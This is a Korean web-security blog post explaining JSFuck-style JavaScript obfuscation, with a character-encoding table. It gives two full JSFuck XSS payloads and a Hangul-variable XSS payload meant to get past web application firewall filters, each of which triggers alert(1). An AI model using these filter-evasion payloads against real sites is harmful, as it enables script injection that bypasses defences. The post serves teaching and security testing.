▶ JSFuck?
JavaScript + BrainFuck 의 합성어로, 난해한 JS 프로그래밍 스타일을 뜻한다. 전에 작성한 Filtering Bypass를 할 수 있는 극단적 경우가 여기에 해당된다. JS문법에서 사용되는 문자 중 단 6가지인 [,],(,),+,! 만으로 JS코드를 구성할 수 있음에 착안하여 고안된 프로그래밍 스타일이다.
▶ 원리?
JS의 자체기능을 이용해서 문자를 뽑아쓰는 형태로 작동된다. 대표적인 것이 괄호를 문자열로 바꾸는 방법이다.
★ ![] = false : 배열 자체는 truthy한 값으로 인정되는데, 이것을 부정하면 false가 나온다.
★ (객체)+[] = "" : 자바스크립트에서 오브젝트 간에 더하기 연산은 정의되어 있지 않으므로 .toString() (문자열로 변환) 처리가 되어 문자열 간의 더하기로 처리된다. 오브젝트로 취급되는 배열을 이용하여 []+[]를 연산하면 [].toString() 이므로 결과적으로 ""(빈문자열) 이 생성된다.
★ false+"" = "false" : bool 값의 false에 빈 문자열을 더하게 되면 false.toString() 연산으로 "false"의 문자열이 나오게 된다. 여기서 f,a,l,s,e 값을 뽑아 쓸 수 있다.
★ !![] = true : false의 부정이므로 true값이 나온다.
★ +true : true 앞에 unary plus를 쓰면 bool값의 true가 숫자형 1로 변환이 된다.
★ "false"[1] = "a" : false 문자열에서 a값을 뽑아쓸 수 있다.
위와 같은 원리로 개발자도구에서 script값을 실행시키면 실제로 작동이 된다는 것을 확인해볼 수 있다.
예제) ++[[]][+[]]+[+[]] : 극도로 꼬아버리면 "10"을 이렇게 나타낼수도 있다.
(1) 연산자 ++는 +보다 우선순위가 높으므로 표면적으로 밖에 위치한 ++와 +를 기준으로 하여 코드를 ++[[]][+[]] , + , [+[]] 세부분으로 나누어서 연산한다.
(2) +[]: +는 unary operator로, +[]는 +[].toString()과 동치가 되어 +""가 되므로, 결과는 0이 나온다.
(3) 따라서, 코드는 ++[[]][0], + , [0] 과 같아진다.
(4) ++[[]][0] 에서 ++뒤의 [[]][0]는 빈배열 1개를 담고 있는 배열의 첫 번째 원소라는 의미이다. 따라서, 배열 안에 있는 배열에 ++를 시키라는 의미가 되며 이는 배열 안의 배열 []에 1을 더하는 동작을 수행하게 된다. 이는 1을 리턴하게 된다.
(5) 1 + [0] 과 같아졌다. [0]의 ToPrimitive() 값은 문자열 "0"이 된다. 어느 한쪽이 문자열인 더하기는 toString()을 한 결과물의 합이므로 "1"+"0"의 값인 "10"을 출력하게 된다.
▶ JSFuck 표현
Char | JSFuck |
+ | (+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[!+[]+!+[]] |
. | (+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]] |
0 | +[] |
1 | +!![] or +!+[] |
2 | !![]+!![] or !+[]+!+[] |
3 | !![]+!![]+!![] or !+[]+!+[]+!+[] |
4 | !![]+!![]+!![]+!![] or !+[]+!+[]+!+[]+!+[] |
5 | !![]+!![]+!![]+!![]+!![] or !+[]+!+[]+!+[]+!+[]+!+[] |
6 | !![]+!![]+!![]+!![]+!![]+!![] or !+[]+!+[]+!+[]+!+[]+!+[]+!+[] |
7 | !![]+!![]+!![]+!![]+!![]+!![]+!![] or !+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[] |
8 | !![]+!![]+!![]+!![]+!![]+!![]+!![]+!![] or !+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[] |
9 | !![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![] or !+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[] |
a | (![]+[])[+!+[]] |
d | ([][[]]+[])[!+[]+!+[]] |
e | (!![]+[])[!+[]+!+[]+!+[]] |
f | (![]+[])[+[]] |
i | ([![]]+[][[]])[+!+[]+[+[]]] |
I | (+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+(+!+[])+(+[])+(+[])+(+[]))+[])[+[]] |
l | (![]+[])[!+[]+!+[]] |
N | (+[![]]+[])[+[]] |
n | ([][[]]+[])[+!+[]] |
r | (!+[]+[])[+!+[]] |
s | (![]+[])[!+[]+!+[]+!+[]] |
t | (!!+[]+[])[+[]] |
u | ([][[]]+[])[+[]] |
y | (+[![]]+[+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+(+!+[])+(+[])+(+[])+(+[]))])[+!+[]+[+[]]] |
false | ![] |
true | !![] |
undefined | [][[]] |
NaN | +[![]] |
0 | +[] |
1 | +!+[] |
2 | !+[]+!+[] |
10 | [+!+[]]+[+[]] |
Array | [] |
Number | +[] |
String | []+[] |
Boolean | ![] |
Function | [][“filter”] |
eval | [][“filter”]“constructor”() |
window | [][“filter”]“constructor”() |
▶ JSFuck XSS payload
다음과 같은 Payload를 입력하면 alert 창을 띄울 수 있다.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+ !+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![] +[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!! []+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[ ]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(! []+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+( !![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])() |
그냥 []["filter"]["constructor"]("alert(1)")() 을 JSFuck 양식으로 치면 위와 같이 칠 수 있기 때문이다. 또한,
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]]) |
와 같이도 alert(1) 창을 띄울 수 있는데 이는 eval로 함수를 정의해서 실행하는 명령어를 JSFuck 양식으로 친 것이다.
참고로 JSFuck으로 코드를 난잡하게 만들어주는 사이트도 존재한다: http://www.jsfuck.com/#
▶ 응용 - 한글 XSS payload
JSFuck을 응용하여 WAF Bypass 할 때, 한글로 XSS페이로드를 만들수도 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
(
[
, // "["
오, // "o"
, // "b"
, // "j"
, // "e"
늘 // "c"
] =
[] + {}, // "[object Object]"
[
저, // "t"
녁, // "r"
은, // "u"
삼, // "e"
, // "f"
겹, // "a"
살, // "l"
맛, // "s"
, // "e"
, // "u"
있 // "n"
] =
[!!오] + // "true" +
!오 + // "false" +
오.오 // "undefined"
)[
늘+=오+있+맛+저+녁+은+늘+저+오+녁 // "constructor"
][
늘 // "constructor"
](
겹+살+삼+녁+저+ // "alert"
'(-~오)' // (1)
)()
|
cs |
페이로드를 보기좋게 두줄로 정리하면 다음과 같다.
([,오,,,,늘]=[]+{},[저,녁,은,삼,,겹,살,맛,,,있]=[!!오]+!오+오.오) [늘+=오+있+맛+저+녁+은+늘+저+오+녁][늘](겹+살+삼+녁+저+'(-~오)')() |
Payload 구성이 삼겹살에 미친놈같긴 하지만, 그래도 alert(1)창을 띄우는데에는 아무 지장이 없다.
출처: https://www.hahwul.com/2018/09/15/jsfuck-xss-payload/
https://www.hahwul.com/2018/11/20/waf-bypass-xss-payload-only-hangul/
'정보보안(웹해킹) > XSS(Cross-Site Scripting)' 카테고리의 다른 글
Self-XSS (Self Cross-Site Scripting) (0) | 2023.01.03 |
---|---|
XSS report할 때, alert(1)을 사용하지 말아야 하는 이유 (0) | 2022.12.31 |
XSS 블랙리스트 필터링 우회 (0) | 2022.11.22 |
XSS응답 확인 : Request bin 사이트 및 사용법 (0) | 2022.11.22 |
XSS(Cross-Site Scripting) 응용 (0) | 2022.11.22 |
댓글